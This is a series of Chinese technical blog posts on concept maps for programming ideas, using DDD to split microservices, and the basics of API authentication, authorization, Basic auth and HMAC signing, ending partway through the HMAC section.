使用概念图梳理编程中的概念

我是半个计算机专业的,我会把有故障的硬盘拆下来,也能把一块新的硬盘装回去,还能使用U盘或者光盘给它安装一套操作系统。

这能算我会修电脑吗?不,我不会,至少过年回家时对要求我义务修电脑的亲戚们说不会。但为难的是他们总能说出这句我无法反驳的话,“你一个学计算机的修个电脑都不会。“ 我内心嘀咕着 ”学化学的也不会造 TNT”,但实在无法找到一个合理的理由拒绝。

随着对逻辑学的进一步了解,“大妈式”的暴力辩论逻辑实际上是一种典型的偷换概念,计算机维修和学计算机完全是不同的概念。我们用下面的图来表达修电脑和学计算机之间的关系:

concept.png

所以可以给出下面理由 —— 为什么计算机相关专业的学生不会修电脑。

  • 一本正经版: “因为我只是学计算机相关专业的一种,主要是做软件工程的,你这个屏幕不亮了属于硬件,因此这活儿做不了”
  • 简单直接版:“我没有工具,人家专门修电脑的人有 xxxx(一堆听不懂的东西)”
  • 胡扯版:“我是学微型计算机大规模分布式运算服务的(服务器编程)”

所以通过梳理概念之间的关系,可以清晰得到一个概念,可以通过使用概念图来描述概念的层次关系,上面使用的图即是概念图。

美国著名教育学家诺瓦克遇到了同样的问题,他需要一种清晰地方式给学生解释一些课程中需要用到的概念。同时,也需要了解学生在理解概念上的变化。他们的研究小组从拓扑分类学和语义学方面得到灵感,创造出“概念图”这一思维工具来表达概念的练习。

例如一个常见的错误逻辑关系是 “中国属于联合国”,联合国是一个组织,而中国是一个国家,应改为“中国属于联合国成员国”。那么用概念图描述就是:

uni-countries.png

在学习编程过程中伴随着大量的概念,例如编程语言、Java、JVM 等抽象层次不一致的概念关系该如何梳理;在前端开发中 npm、浏览器看似没有关系两个概念是怎么在平时开发过程中联系到一起的;或者扯远一点,怎么解释《公孙龙子》“三脚鸡”的逻辑问题 —— 鸡有脚,并且数的时候每只鸡有两只脚,那合起来是不是鸡有三只脚。

对于这些问题,可以使用概念图帮我们梳理概念的层次关系,下面让我们进一步了解概念图是如何帮我们更好地梳理大量概念的。

编程语言相关概念点

有一天我回到办公室,有两个同事在讨论编程语言相关的内容。

同事 A:“我是做 Python 的,我现在想转 Java”。
同事 B:“编程思想都是一样的,什么语言都一样”
同事 A:迷惑中

A 想从 Python 转到 Java ,可能是市场对 Java 的接受程度更高,但有时候会有人说“编程语言都一样”。看起来 B 说的很有道理,但他们说的是同一回事吗?

实际上 A 是想表达对编程职业生涯的担忧,“Java” 在他的意识里是指的相关整套技术体系,B 想说的只是用来完成编码的计算机语言。我们用概念图看下“编程”这个概念,再来看他们讨论的是不是同一个东西:

programming.png

我们真的只是缺乏编程思想吗?

我们要完成编程这个活动,需要了解编程语言、框架、库以及阅读相关的文档、书籍和开源代码。切换技术栈的成本是巨大的,不只是具有编程思想这么简单。

往往我们在谈论 Java 时,谈的不仅仅是一个编程语言的 Java,我们还在谈 JDK、JVM、Spring 等内容;甚至我们在谈论 Spring 的时候我们在谈论 Spring IOC、Spring MVC 以及 Spring boot。

谈论数据库的时候也会谈论 DBMS、SQL、JDBC、driver、ORM 等概念,甚至包含了数据库连接的客户端工具例如 Navicat,有时候也会谈数据库的具体实现:MySQL、Oracle 或者其他 NoSQL 数据库。

甚至谈论数据库这个概念本身往往都包含了多个含义:数据库管理系统(DBMS)、一个数据库实例(DB)。

Java 服务器编程相关概念点

我在刚刚学习 Java 技术栈做 WEB 服务器开发时对很多概念非常困惑,Java 的生态非常完善,带来的概念也非常多 —— JPA、Servlet容器、Tomcat 等,它们的关系对于初学者来说相当的微妙。在使用 PHP 开发网站时,往往只需要查阅 PHP 的文档和一个框架的文档,而Java 生态圈充斥着大量陌生概念。

我整理了一份侧重于 Java、Servlet、Spring 家族一系列概念的概念图,这里主要关注几个比较难以分清的概念,真实的 Java 服务器开发领域所涉及的概念还非常多。

java-backend.jpg

作为语言的 Java 衍生出来的概念是相关的运行环境、库和框架。Java 字节码运行在由 JRE 运行环境提供的 JVM 虚拟机之上的,Tomcat 是一个 Java 应用程序,并提供了 Servlet 容器负责处理 HTTP 的请求和响应进行,而我们做的应用程序(WAR)只是一个寄生兽,挂靠在 Servlet 容器上负责处理业务逻辑。

库最具有代表性的是 Spring。Spring 这个词本身只是只一个 IOC 库,后来不断发展,Spring 实际上衍生成 Spring IOC、Spring MVC、Spring Data 等库的一个集合。最终由 Spring boot 整合成一个完整的框架。

而对数据库的操作又是一堆概念。Java 程序使用 JDBC 的驱动(数据库具体的 Driver)连接数据库,人们又希望使用 ORM 技术让对象和数据库记录同步,这一实现主要有 Hibernate、TopLink,Java 社区做了规范称为 JPA。Spring data JPA 又对 JPA 做了封装使之在 Spring 环境下更易用。

通过梳理这些概念可以给学习 Java 编程的新人推荐一个合适的学习路线:计算机基础->计算机网络->Java 基础-> Servlet -> Spring IOC -> Spring MVC-> Spring Boot。没有前置概念的铺垫,直接学习 Spring Boot 是相当痛苦的。

前端开发概念点

最近很火的 Vue 是一个框架还是一个库,亦或者是一个开发体系?

随着前端开发工程化的发展,现代前端开发体系爆炸性的增长,每天都在出现新概念,那么学习前端到底该学些什么呢。下面我整理了一个前端常见概念点的概念图:

frontend.jpg

前端开发在 Nodejs 出现之前还是非常简单和容易理解的,在浏览器中运行的页面无非是 HTML、CSS、JavaScript。Nodejs 把 Chrome 的 JavaScript 引擎单独拿出来运行 JavaScript 脚本,并提供了很多操作系统的 API,形成独立的运行平台。JavaScript 的应用场景从浏览器中脱离出来,变得无比开阔。

Nodejs 提供了网络相关的 API,于是 JavaScript 便可以通过通过 TCP 协议编写 Socket 代码,从而进一步实现 HTTP 协议,得到 WEB 服务编程的能力。

Nodejs 也提供了文件相关的 API,JavaScript 便能够具备文件生成、JavaScript 的压缩、Less 到 CSS 的转换等前端工程构建的相关能力。于是 JavaScript 可以反过来对 JavaScript 代码文本处理,构建 JavaScript 项目(无论前端还是后端)。从最开始利用 grunt 对JavaScript 代码进行简单的压缩、混淆、模板替换等,到后面的 gulp 更灵活的构建工程,以及现在的 webpack 对前端资源彻底的整合。

Nodejs 平台上也可以运行包管理程序来对各种依赖管理,这就是 npm 和 yarn,这就是 Nodejs、npm、JavaScript 的概念关系。

同理,对于前端各种库来说,它们的关系通过概念图也能表达的更为清晰。React 和 Vue 都只是发布在 npm 中的一个库,前端项目需要这些各种库作为原料,并通过构建工具来做成蛋糕,并放到浏览器中呈现给用户。

以上就是前端开发生态发展的基本逻辑。

构建你自己的概念图

想要表达对概念的理解,你可以很容易的构建出自己的概念图。

一个典型的概念图主要有节点、连接线两种元素构成,分别对应了概念、概念的联系,两个相连的概念之间可以构成逻辑命题,命题应该能通过节点和连接线读出。

绘制概念的方法非常简单,你只需要在纸上或者专用的软件(下载链接见文章附录)罗列出相关概念然后使用连接点标记出概念的关系即可。诺瓦克给出了一个非常详细的构建概念图的流程,这非常适用于教育专家来处理日常遇到的大量复杂的信息和概念,但对于大众来说稍显冗长。我做了一点简化和改进,归纳如下:

  • 确定概念图需要解决的焦点问题。 例如我需要解决”鱼香肉丝里面有没有鱼“的问题,或介绍 ”鱼香肉丝“ ,围绕着鱼、动物、鱼香、调料、烹饪、口味、肉丝、鱼香肉丝、川菜等概念来构建概念图,然后得到命题 ”鱼香是一种口味“,”鱼香的调料起源是用来烹鱼“ ,从图中我们得不到 ”鱼香有鱼“ 这样的命题。在解决这个问题的过程中,鱼生活在池塘中,池塘、水草等概念就没有意义了。
  • 罗列关键概念。 围绕着焦点为题来寻找概念,但是概念不宜多,在罗列概念时,尝试对概念进行定义,使用- 更准确地词替换模糊的词。例如讨论编程时大家喜欢用”语言“这个词,尽量使用”编程语言“这类准确地词
  • 寻找概念的冲突和二义性,分化概念。 《公孙龙子》在三脚鸡的辩论中,”鸡有脚,数数时,鸡有两只脚,加起来有三只脚“。这里的鸡的概念有集合个体两个内涵。可以分为”鸡“和”一只鸡“两个概念。《公孙龙子》中类似的例子还有 “白马非马”的著名辩论
  • 构建联系,得到命题。 将分化后的概念,通过连接线连接起,连接过程中给出一个合理的连接词,概念+连接词+概念成为一个完整的命题。例如 ”鱼香是一种口味“。

process.png

上面是从操作流程上归纳创建概念图的方法,另外在构建的逻辑上,概念的关系一般有下面两条线索:

  • 概念的抽象程度。 这种思考方画出来的图往往是一个树状,从上到下是概念抽象层次的逐渐收敛的过程。例如计算机科学->计算机硬件-> CPU -> Inter CPU-> I5。概念从从抽象逐渐到具体,这是一种理想的概念图构建方法,读者能从上到下找到清晰地逻辑关系和明确的命题。
  • 概念的联系紧密程度。 画出来的图往往是一个网状,从上到下是概念联系逐渐从紧密到疏远的过程。Java->编程语言->编译型语言,可能两个概念没有直接关联了。这是现实中很正常的情况,一术语往往具有多个概念,概念之间又不断延伸和交叉。

概念图和思维导图的最大区别就在这两条线索上。概念图是用来表达概念的关系,节点之间应该具有逻辑关系,可以说是收敛的;思维导图是用来促进创造性思维的,条目之间具有引导的关系,可以说是发散的。

使用概念图的要点

概念图其实只是反映你思维逻辑的一个可视化工具,概念图能清晰分析问题的前提是思维和逻辑是清晰地。绘制概念图,首先需要对“概念”理解和定义清楚,“概念” 这个词从古到今、从外到中,有非常多的解释,有认知论、哲学、教育学等解释。

概念图的发明者罗瓦克对概念的定义非常朴素:从事件或对象中感知到的规律或模式,可以打上一个标签,这个标签就是概念。

维基百科的定义是:概念是抽象的、普遍的想法,是充当指明实体、事件或关系的范畴或类的实体。通俗来说,概念是人对事物认识的基本元素,例如“马”、“天空”。现代哲学把概念的内容和范围定义为了外延和内涵。通过外延和内涵指导区分从一个概念演变出来的新的概念。例如“计算机”的外延可以延伸为“计算机维修”。

concept.png

概念图就是用来表达概念之间的延伸关系和抽象程度的,从而达到梳理概念的目的。 笛卡尔将概念的清晰度和抽象程度称为是概念的特征。

每个人构建概念和概念之间的逻辑关系都是不一样的,所以每个人绘制概念图都是不一样的。

常见问题

在实际使用概念图有一些比较常见的问题,我也会犯一些错误。这是因为自然语言本来就是不准确的,概念也具有人主观认识的成分。我们来看下在绘制概念图的过程中,常见的误区是什么,也可以通过这些问题来作为审视概念图是否优良的方法。

主题范围失控,概念图没有焦点

做出取舍,解决该解决的问题,解决不了的问题收敛主题,并再画一张图。例如我想要辨析的主要内容是:Java、JVM、Spring 等几个概念的逻辑关系,我开始想绘制一个非常大的主题“服务器编程”,这样的话我就必须把 PHP、Go 等其他语言纳入了,但这些内容和我想要辨析的主题关系并不大。于是我最终选择收敛主题到 “Java服务器编程”,把焦点聚焦到 Java 和 Spring 上。

如果需要表达 Java、PHP 概念之间的关系,我需要发散主题 “服务器编程” 然后进行绘制,但是不会加入 Spring 相关的内容,概念图的深度也可能不会到达 Spring mvc、Zend PHP 这样层次的深度。

概念图不必追求大而全。

概念层次不清晰

把概念图绘制成流程图是最容易犯的错误。概念图是表达概念的抽象层次关系,用概念图表达多个时间关系不同但抽象层次相同的概念没有意义,你应该使用一个流程图来表达。

在电商领域中,购物车、订单、支付记录,下单流程中的几个关键概念。这几个概念在抽象上是类似的。上图的左边部分是一个不好的示例,虽然表达了概念之间的生成关系,但是这些概念的内涵和外延无法在图中表达。

诺瓦克在《概念图》一书中给出评价概念图的方法之一是利用拓扑分类学,主题应该体现出 “渐进分化”的特点。

语义描述不当

概念图节点是概念,概念是认知世界的元素,按照诺瓦克定义来说,就是给印象中的事物打一个标签。概念应该有名词(包括抽象名词)、动名词、形容词,而概念之间的关系可以为动词、介词、副词。

好的概念图还需要对读者友好,阅读者能组合概念和概念的联系变成条有意义的命题,例如 “马分为白马“。虽然不一定具有语法上的完整性,但是逻辑关系非常重要。

参考书目和附录

more >>

使用 DDD 指导微服务拆分的逻辑

开发者在刚开始尝试实现自己的微服务架构时往往会产生一系列问题 :

  • 微服务到底应该怎么划分?
  • 一个典型的微服务到底应该有多微?
  • 如果做了微服务设计,最后真的会有好处吗?

回答上面的问题需要首先了解微服务设计的逻辑,科学的架构设计应该通过一些输入并逐步推导出结果,架构师要避免凭空设计和“拍脑门”的做法。

解耦的单体应用和微服务系统在逻辑上是一样的。 对于服务拆分的逻辑来说,先设计高内聚低耦合的领域模型,再实现相应的分布式系统是一种比较合适的方式。服务的划分有一些基本的方法和原则,通过这些方法能让微服务划分更有操作性。最终在微服务落地实施时也能按图索骥,无论是对遗留系统改造还是全新系统的架构都能游刃有余。

微服务拆分的几个阶段

在开始划分微服务之前,架构师需要在大脑中有一个重要的认识:微服务只是手段,不是目的。

微服务架构是为了让系统变得更容易拓展、更富有弹性。在把单体应用变成靠谱的微服务架构之前,单体系统的各个模块应该是合理、清晰地。也就是说,从逻辑上单体系统和微服务没有区别,某种理想情况下微服务只是把单体系统的各个模块分开部署了而已(最近流行的monorepo把多个服务的代码仓库以模块的形式组织到了一起,证明了这一点)。

大量的实践教训告诉我们,混沌的微服务架构,比解耦良好的单体应用会带来更多麻烦。

chaotic-or-clear.png

(混乱的微服务VS良好的单体)

开源社区为此进行了大量讨论,试图对系统解耦寻找一种行之有效的方法,因此具有十几年历史的领域驱动设计(DDD)方法论被重新认识。领域驱动设计立足于面向对象思想,从业务出发,通过领域模型的方式反映系统的抽象,从而得到合理的服务划分。

采用 DDD 来进行业务建模和服务拆分时,可以参考下面几个阶段:

  • 使用 DDD(领域驱动建模) 进行业务建模,从业务中获取抽象的模型(例如订单、用户),根据模型的关系进行划分限界上下文。
  • 检验模型是否得到合适的的抽象,并能反映系统设计和响应业务变化。
  • 从 DDD 的限界上下文往微服务转化,并得到系统架构、API列表、集成方式等产出。

decouple-miroservice-process.png

(使用DDD划分微服务的过程)

如何抽象?

抽象需要找到看似无关事务的内在联系,对微服务的设计尤为重要。

假设有一天,你在某电商网站购买了一台空调,当你支付了空调订单的费用后,又让你再次支付安装订单费用,你肯定大为光火。原因仅仅可能是架构师在设计系统时,为空调这种普通产品生产了一个订单,而安装作为了另外业务逻辑生成了单独的订单。

你一定觉得这个例子太傻了,架构师不会这点都没考虑到,”安装“ 应该被抽象成一个产品,而”安装行为“可以作为另外一个服务实现。然而现实的例子比比皆是,电信或移动营业厅还需要用户分两步办理号卡业务、宽带业务。原始是不合适的抽象模型造成的,并最终影响了微服务的划分。

我们可以使用概念图来描述一些概念的抽象关系。

product-concept-diagram.png
(商品这一概念的概念图)
如果没有抽象出领域模型,就得不到正确的微服务划分。

使用DDD进行业务建模

通过利用DDD对系统从业务的角度分析,对系统进行抽象后,得到内聚更高的业务模型集合,在DDD中一组概念接近、高度内聚并能找到清晰的边界的业务模型被称作限界上下文(Bounded Context)。

限界上下文可以视为逻辑上的微服务,或者单体应用中的一个组件。在电商领域就是订单、商品以及支付等几个在电商领域最为常见的概念;在社交领域就是用户、群组、消息等。

DDD的方法论中是如何找到子系统的边界的呢?

其中一项实践叫做事件风暴工作坊,工作坊要求业务需求提出者和技术实施者协作完成领域建模。把系统状态做出改变的事件作为关键点,从系统事件的角度触发,提取能反应系统运作的业务模型。再进一步识别模型之间的关系,划分出限界上下文,可以看做逻辑上的微服务。

事件是系统数据流中的关键点,类似于电影制作中的关键帧。在未建立模型之前,系统就像是一个黑盒,不断的刺探系统的状态的变化就可以识别出某种反应系统变化的实体。

例如系统管理员可以登录、创建商品、上架商品,对应的系统状态的改变是用户已登录、商品已创建、商品已经上架;相应的顾客可以登录、创建订单、支付,对应的系统状态改变是用户已登录、订单已创建、订单已支付。

于是可以通过收集上面的事件了解到,“哦,原来是商品相关事件是对系统中商品状态做出的改变,商品可以表达系统中某一部分,商品可以作为模型”。

abstract-model.png

(利用事件刺探业务黑盒并抽象出模型)

在得到模型之后,通过分析模型之间的关系得出限界上下文。例如商品属性和商品相对于用户、用户组关系更为密切,通过这些关系作出限界上下文拆分的基本线索。

其次是识别模型中的二义性,让限界上下文划分更为准确。

例如,在电商领域,另外一个不恰当设计的例子是:把订单中的订单项当做和商品同样的概念划分到了商品服务,但订单中的商品实际上和商品库中的商品不是同一个概念。当订单需要修改订单下的商品信息时,需要访问商品服务,这势必造成了订单和商品服务的耦合。

合理的设计应该是:商品服务提供商品的信息给订单服务,但是订单服务没有理由修改商品信息,而是访问作为商品快照的订单项。订单项应该作为一个独立的概念被划分到订单服务中,而不是和商品使用同一个概念,甚至共享同一张数据库表。

good-dependent.png

(典型具有”二义性“陷阱的场景)

”订单下的商品“和”商品“在不同的系统中实际上表达不同的含义,这就是术语”上下文“的由来。一组关系密切的模型形成了上下文(context),二义性的识别能帮我们找到上下文的边界(bounded)。同样的例子还有 “订单地址” 和 “用户地址”的区别。

当然,在DDD中具体识别限界上下文的线索还很多,例如模型的生命周期等,我们会在后面的文章中逐步展开。在后续的文章中,我们会介绍更多关于 DDD 和事件风暴的思想和原理。

验证和评审领域模型

前面我们说到限界上下文可以作为逻辑上的微服务,但并不意味着我们可以直接把限界上下文变成微服务。在这之前很重要的一件事情是对模型进行验证,如果我们得到的限界上下文被抽象的不良好,在微服务实施后并不能得到良好的拓展性和重用。

限界上下文被设计出来后,验证它的方法可以从我们采用微服务的两个目的出发:降低耦合、容易扩展,可以作为限界上下文评审原则:

原则1,设计出来的限界上下文之间的互相依赖应该越少越好,依赖的上游不应该知道下游的信息。(被依赖者,例如订单依赖商品,商品不需要知道订单的信息)。
原则2,使用潜在业务进行适配,如果能在一定程度上响应业务变化,则证明用它指导出来的微服务可以在相当一段时间内足以支撑应用开发。

model-2-context.png
(一般抽象程度的领域模型)

上图是一个电信运营商的领域模型的局部,这部分展示了电信号码资源以及群组、用户、宽带业务、电话业务这几个限界上下文。主要业务逻辑是,系统提供了号码资源,用户在创建时会和号码资源进行绑定写卡操作,最后再开通电话或宽带业务。在开通电话这个业务流程中,号码资源并不需要知道调用者的信息。

但是理想的领域模型往往抽象程度、成本、复用性这几个因素中获取平衡,软件设计往往没有理想的领域模型,大多数情况下都是平衡各种因素的苟且,因此评审领域模型时也要考虑现实的制约。

abstract-cost.png
(”抽象”的成本)

用一个简单的图来表达话,我们的领域模型设计往往在复用性和成本取得平衡的中间区域才有实用价值。前面电信业务同样的场景,业务专家和架构师表示,我们需要更为高度的抽象来满足未来更多业务的接入,因此对于两个业务来说,我们需要进一步抽象出产品和订单的概念。

但是同时需要注意到,我们最终落地时的微服务会变得更多,也变得更为复杂,当然优势也是很明显的 —— 更多的业务可以接入订单服务,同时订单服务不需要知道接入的具体业务。对于用户的感知来说,可以一次办理多个业务并统一支付了,这正是某电信当前的痛点之一。

model-2-context-explicit.png
(高度抽象的领域模型)

几个典型的误区

在大量使用DDD指导微服务拆分的实践后,我们发现很多系统设计存在一些常见的误区,主要分为三类:未成功做出抽象、抽象程度过高、错误的抽象。

未成功做出抽象

在实际开发过程中,大家都有一个体会,设计阶段只考虑了一些常见的服务,但是发现项目中有大量可以重用的逻辑,并应该做成单独服务。当我们在做服务拆分时,遗漏了服务的结果是有一些业务逻辑被分散到各个服务中,并不断重复。

以下是一个检查单,帮助你检查项目上常见的抽象是否具备:

  • 用户
  • 权限
  • 订单
  • 商品
  • 支付
  • 账单
  • 地址
  • 通知
  • 报表单
  • 日志
  • 收藏
  • 发票
  • 财务
  • 邮件
  • 短信
  • 行为分析

错误抽象

对微服务或DDD理解不够。模型具有二义性,被放到不同的限界上下文。例如,订单中的收货地址、用户配置的常用地址以及地址库中的标准地址。这三种地址虽然名称类似,但是在概念上完全不是一回事,假如架构师将”地址“划分到了标准地址库中,势必会造成用户上下文和系统配置上下文、订单上下文存在不必要的耦合。

bad-dependce.png
(左边为抽象错误带来的依赖,右边为正确的依赖关系)

上图的右边为正常的依赖关系,左边产生了不正常的依赖,会进一步产生双向依赖。

在系统设计时,领域模型的二义性是一个比较难以识别和理解问题。好在我们可以通过画概念图来梳理这些概念的关系,概念图是中学教辅解释大量概念的惯用手段,在表达系统设计时一样有用。

address-concept-diatram.png
(电商系统中“地址”概念的梳理)

与地址类似的常见还有商品和订单项中的商品;用户和用户组之间有一个成员的概念;短信的概念应该更为具体到一条具体的短信和短信模板的区别。

组织对架构的干预

另外一种令人感到惊讶的架构问题是企业的组织架构和团队划分影响了领域模型的正确建立。有一些公司按照渠道来划分了团队,甚至按照 To C (面向于用户)和 To B(面向企业内部)划分的团队,最终设计出来的限界上下文中赫然出现 ”C端文章服务“,”B端文章服务“。

不乏有一些公司因为团队职责的关系,将本应该集中的服务不得已下放给应用或者BFF(面向前端的backend)。对于这类问题,其实超出了DDD能解决的范围,只能说在建模时警惕此类行为对系统造成很严重的影响。

另外企业组织架构和技术架构的关系,请参考康威定律的叙述。一个由无数敏捷团队组成的企业,和微服务有天然的联系;传统实时瀑布模型的企业,在大型软件时代竞争力十足,但是在互联网时代却无力应对变化。

org-architecture.png
(常见一些公司的组织架构)

抽象程度过高

抽象程度过高最典型的一个特征是得到的限界上下文极端的微小。回到我们成本、复用性和抽象程度这几个概念上来,上面我们讨论过,抽象程度虽然可以带来复用性的提高,但是带来的成本非常高,甚至不可接受。

抽象程度过高带来的成本有:更多的微服务部署带来的运维压力、开发调试难度提高、服务间通信带来的性能开销、跨服务的分布式事务协调等。因此抽象不是越高越好,应根据实际业务需要和成本考虑。

那相应的,微服务到底应该多小呢?

业界流传一句话来形容,微服务应该多小:“一个微服务应该可以在二周内完成重写“。这句话可能只是一句调侃,如果真的作为微服务应该多微的标准是不可取的。

微服务的大小应该取决于划分限界上下文时各个限界上下文内聚程度。订单服务往往是很多IT系统中最为复杂、内聚程度最高的服务,往往比较庞大,但无法强行分为 ”订单part1“ ”订单part2“ 等多个微服务;同样,短信服务可能仅仅负责和外部系统对接,表现的极为简单,但我们往往也需要单独部署。

从限界上下文到系统架构

在通过 DDD 得到领域模型和限界上下文后,理论上我们已经得到了微服务的拆分。但是,限界上下文到系统架构还需要完成下面几件事。

设计微服务之间的依赖关系

一个合理的分布式系统,系统之间的依赖应该是非常清晰地。依赖,在软件开发中指的是一个应用或者组件需要另外一个组件提供必要的功能才能正常工作。因此被依赖的组件是不知道依赖它的应用的,换句话说,被调用者不需要知道调用方的信息,否则这不是一个合理的依赖。

在微服务设计时,如果 domain service 需要通过一个 from 参数,根据不同的渠道做出不同的行为,这对系统的拓展是致命的。例如,用户服务对于访问他的来源不应该知晓;用户服务应该对订单、商品、物流等访问者提供无差别的服务。

因此,微服务的依赖关系可以总结为:上游系统不需要知道下游系统信息,否则请重新审视系统架构。

设计微服务间集成方式

拆分微服务是为了更好的集成到一起,对于后续落地来说,还有服务集成这一重要的阶段。微服务之间的集成方式会受到很多因素的制约,前面在讨论微服务到底有多微的时候就顺便提到了集成会带来成本,处于不同的目的可以采用不同的集成方式。

  • 采用 RPC(远程调用) 的方式集成。 使用RPC的方式可以让开发者非常容易的切换到分布式系统开发中来,但是RPC的耦合性依然很高,同时需要对RPC平台依赖。业界优秀的RPC框架有dubbo、Grpc、thrift等
  • 采用消息的方式集成。使用消息的方式异步传输数据,服务之间使用发布-订阅的方式交互。另外一种思想是通过对系统事件传递,因此产生了 Event Sourcing 这种集成模式,让微服务具备天然的弹性。
  • 采用RESTful方式集成。RESTful是一种最大化利用HTTP协议的API设计方式,服务之间通过HTTP API集成。这种方式让耦合变得极低,甚至稍作修改就可以暴露给外部系统使用。

这三种集成方式耦合程度由高到低,适用于不同的场景,需要根据实际情况选择,甚至在系统中可能同时存在。服务间集成的方式还有其他方式,一般来说,上面三种微服务集成的方式可以概括目前常见系统大部分需求。

可视化架构和沉淀输出

第一次读DDD相关的资料和书籍时,没有记住DDD的很多概念,但是子域划分像极了潮汕牛肉火锅的划分图,给我留下深刻的印象。DDD 强调技术人员和业务人员共同协作,DDD 对图的绘制表现的非常随意自然。

但是在做系统设计时,应该使用更为准确和容易传递的架构图,例如使用 C4 模型中的系统全景图(System Landscape diagram)来表达微服务之间的关系。当然你也可以使用UML来完成架构设计。C4 只是层次化(架构缩放)方式表达架构设计,和UML并不冲突。

系统架构图除了微服务的关系之外,也需要讲技术选型表达出来。

微服务集成方式除了通过架构图标识之外,最好也通过API列表的方式将事件风暴中的事件转换为API;除此之外,可以将DDD领域模型细化成聚合根、实体、值对象,请参考DDD的战术设计。

总结

逻辑往往比经验更为重要。写这篇文章的初衷是为了回答一个问题:如果老板问我,你这个微服务划分的依据是什么,我该怎么有说服力的回复?

我该回答 “具体情况具体分析?By experience?”还是说,我是通过一套方法对业务逻辑进行分析得到的。当没有足够的经验直接解决问题,或问题庞大到不足以使用经验解决时,能支撑你做出决策就只有对输入问题进行有效的分析。

使用 DDD 指导微服务划分,能在一定程度上弥补经验的不足,做出有理有据的系统架构设计。

参考链接

more >>

细说API - 认证、授权和凭证

在一些互联网公司的面试中,面试官往往会问这样一个问题:

“如果禁用浏览器 cookie,如何实现用户追踪和认证?”

遗憾的是依然有大量候选人答非所问,无法搞清楚 cookie 和 session 之间的区别。而在工作中也有让人惊讶的真实案例:把 user ID 存储到 local storage 中当做 token 使用,原因是他们声称弃用了 cookie 这种落后的东西;一个移动端项目,服务器给出的 API 中需要客户端模拟一个 cookie,从而像浏览器中 ajax 那样消费 API。

互联网是基于 HTTP 协议构建的,而 HTTP 协议因为简单流行开来,但是 HTTP 协议是无状态(通信层面上虚电路比数据报昂贵太多)的,为此人们为了追踪用户想出了各种办法,包括 cookie/session 机制、token、flash 跨浏览器 cookie 甚至浏览器指纹等。

cookies.png

把用户身份藏在每一个地方(浏览器指纹技术甚至不需要存储介质)
讲使用 spring security 等具体技术的资料已经很多了,这篇文章不打算写框架和代码的具体实现。我们会讨论认证和授权的区别,然后会介绍一些被业界广泛采用的技术,最后会聊聊怎么为 API 构建选择合适的认证方式。

认证、授权、凭证

首先,认证和授权是两个不同的概念,为了让我们的 API 更加安全和具有清晰的设计,理解认证和授权的不同就非常有必要了,它们在英文中也是不同的单词。

roles.png

认证是 authentication,指的是当前用户的身份,当用户登陆过后系统便能追踪到他的身份做出符合相应业务逻辑的操作。即使用户没有登录,大多数系统也会追踪他的身份,只是当做来宾或者匿名用户来处理。认证技术解决的是 “我是谁?”的问题。

授权则不同,授权是 authorization,指的是什么样的身份被允许访问某些资源,在获取到用户身份后继续检查用户的权限。单一的系统授权往往是伴随认证来完成的,但是在开放 API 的多系统结构下,授权可以由不同的系统来完成,例如 OAuth。授权技术是解决“我能做什么?”的问题。

实现认证和授权的基础是需要一种媒介(credentials)来标记访问者的身份或权利,在现实生活中每个人都需要一张身份证才能访问自己的银行账户、结婚和办理养老保险等,这就是认证的凭证;在古代军事活动中,皇帝会给出战的将军颁发兵符,下级将领不关心持有兵符的人,只需要执行兵符对应的命令即可。在互联网世界中,服务器为每一个访问者颁发 session ID 存放到 cookie,这就是一种凭证技术。数字凭证还表现在方方面面,SSH 登录的密匙、JWT 令牌、一次性密码等。

用户账户也不一定是存放在数据库中的一张表,在一些企业 IT 系统中,对账户管理和权限有了更多的要求。所以账户技术 (accounting)可以帮助我们使用不同的方式管理用户账户,同时具有不同系统之间共享账户的能力。例如微软的活动目录(AD),以及简单目录访问协议(LDAP),甚至区块链技术。
还有一个重要的概念是访问控制策略(AC)。如果我们需要把资源的权限划分到一个很细的粒度,就不得不考虑用户以何种身份来访问受限的资源,选择基于访问控制列表(ACL)还是基于用户角色的访问控制(RBAC)或者其他访问控制策略。

在流行的技术和框架中,这些概念都无法孤立的被实现,因此在现实中使用这些技术时,大家往往为一个 OAuth2 是认证还是授权这种概念争论不休。为了容易理解,我在文末附上了一份常见技术和概念的术语表。下面我会介绍在API开发中常常使用的几种认证和授权技术:HTTP Basic AUthentication、HAMC、OAuth2,以及凭证技术JWT token。

HTTP Basic Authentication

你一定用过这种方式,但不一定知道它是什么,在不久之前,当你访问一台家用路由器的管理界面,往往会看到一个浏览器弹出表单,要求你输入用户密码。

basic.png

在这背后,当用户输入完用户名密码后,浏览器帮你做了一个非常简单的操作:

  • 组合用户名和密码然后 Base64 编码
  • 给编码后的字符串添加 Basic 前缀,然后设置名称为 Authorization 的 header 头部

basic_flow.png

API 也可以非常简单的提供 HTTP Basic Authentication 认证方式,那么客户端可以很简单通过 Base64 传输用户名和密码即可:

  • 将用户名和密码使用冒号连接,例如 username:abc123456
  • 为了防止用户名或者密码中存在超出 ASCII 码范围的字符,推荐使用UTF-8编码
  • 将上面的字符串使用 Base 64 编码,例如 dXNlcm5hbWU6YWJjMTIzNDU2
  • 在 HTTP 请求头中加入 “Basic + 编码后的字符串”,即:Authorization: Basic QWxhZGRpbjpPcGVuU2VzYW1l

这种方式实现起来非常简单,在大量场景下被采用。当然缺点也很明显,Base64 只能称为编码,而不是加密 (实际上无需配置密匙的客户端并没有任何可靠地加密方式,我们都依赖 TSL 协议)。这种方式的致命弱点是编码后的密码如果明文传输则容易在网络传输中泄露,在密码不会过期的情况下,密码一旦泄露,只能通过修改密码的方式。

HMAC(AK/SK)认证

在我们对接一些 PASS 平台和支付平台时,会要求我们预先生成一个 access key(AK) 和 secure key(SK),然后通过签名的方式完成认证请求,这种方式可以避免传输 secure key,且大多数情况下签名只允许使用一次,避免了重放攻击。

这种基于 AK/SK 的认证方式主要是利用散列的消息认证码 (Hash-based MessageAuthentication Code) 来实现的,因此有很多地方叫 HMAC 认证,实际上不是非常准确。HMAC 只是利用带有 key 值的哈希算法生成消息摘要,在设计 API 时有具体不同的实现。

HMAC_hash.png

HMAC 在作为网络通信的认证设计中作为凭证生成算法使用,避免了口令等敏感信息在网络中传输。基本过程如下:

客户端需要在认证服务器中预先设置 access key(AK 或叫 app ID) 和 secure key(SK)
在调用 API 时,客户端需要对参数和 access key 进行自然排序后并使用 secure key 进行签名生成一个额外的参数 digest
服务器根据预先设置的 secure key 进行同样的摘要计算,并要求结果完全一致
注意 secure key 不能在网络中传输,以及在不受信任的位置存放(浏览器等)

为了让每一次请求的签名变得独一无二,从而实现重放攻击,我们需要在签名时放入一些干扰信息。
